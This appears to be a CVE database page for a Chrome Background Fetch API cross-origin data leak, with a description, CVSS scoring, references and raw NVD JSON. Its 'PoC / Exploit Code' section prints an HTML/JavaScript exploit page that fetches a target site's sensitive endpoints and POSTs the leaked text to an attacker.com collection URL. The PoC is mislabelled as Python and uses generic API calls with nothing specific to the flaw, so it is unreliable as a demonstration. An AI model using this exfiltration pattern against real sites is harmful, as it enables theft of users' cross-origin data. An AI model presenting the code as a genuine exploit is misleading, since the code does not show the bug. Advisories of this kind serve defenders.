CVE-2026-1504

Description

Inappropriate implementation in Background Fetch API in Google Chrome prior to 144.0.7559.110 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

Google Chrome < 144.0.7559.110

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-1504 PoC - Background Fetch API Cross-Origin Data Leak -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-1504 PoC</title>
</head>
<body>
    <h1>CVE-2026-1504 Background Fetch API Exploit</h1>
    <button id="exploitBtn">Start Exploitation</button>
    <div id="results"></div>

    <script>
        async function exploitCVE20261504() {
            const resultsDiv = document.getElementById('results');
            resultsDiv.innerHTML = 'Starting exploitation...<br>';

            try {
                // Register a service worker for Background Fetch
                if ('serviceWorker' in navigator) {
                    const registration = await navigator.serviceWorker.register('sw.js');
                    resultsDiv.innerHTML += 'Service Worker registered<br>';

                    // Create a Background Fetch for cross-origin data
                    const bgFetch = await registration.backgroundFetch.fetch(
                        'my-fetch',
                        [
                            new Request('https://target-website.com/api/sensitive-data'),
                            new Request('https://target-website.com/user/profile')
                        ],
                        {
                            title: 'Downloading updates',
                            icons: [{ src: 'icon.png', sizes: '512x512' }]
                        }
                    );

                    bgFetch.addEventListener('success', async () => {
                        // Attempt to read the response data
                        const response = await bgFetch.match('https://target-website.com/api/sensitive-data');
                        if (response) {
                            const text = await response.text();
                            resultsDiv.innerHTML += 'Leaked data: ' + text + '<br>';
                            // Send data to attacker server
                            await fetch('https://attacker.com/collect', {
                                method: 'POST',
                                body: text
                            });
                        }
                    });
                }
            } catch (error) {
                resultsDiv.innerHTML += 'Error: ' + error.message + '<br>';
            }
        }

        document.getElementById('exploitBtn').addEventListener('click', exploitCVE20261504);
    </script>
</body>
</html>

<!-- sw.js - Service Worker for Background Fetch -->
self.addEventListener('backgroundfetchsuccess', (event) => {
    const bgFetch = event.registration;
    event.waitUntil(async function() {
        const records = await bgFetch.matchAll();
        for (const record of records) {
            const response = await record.responseReady;
            console.log('Fetched data:', await response.text());
        }
    }());
});

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1504
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1504
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1504/
[4] VulDB https://vuldb.com/cve/CVE-2026-1504
[5] https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_27.html
[6] https://issues.chromium.org/issues/474435504

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1504", "sourceIdentifier": "[email protected]", "published": "2026-01-27T21:16:00.480", "lastModified": "2026-02-06T17:45:56.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Background Fetch API in Google Chrome prior to 144.0.7559.110 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}, {"lang": "es", "value": "Implementación inapropiada en la API Background Fetch en Google Chrome anterior a 144.0.7559.110 permitió a un atacante remoto filtrar datos de origen cruzado a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Alta)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.110", "matchCriteriaId": "C3E547F7-E289-4BCF-8788-32ACFE165948"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_27.html", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://issues.chromium.org/issues/474435504", "source": "[email protected]", "tags": ["Permissions Required"]}]}}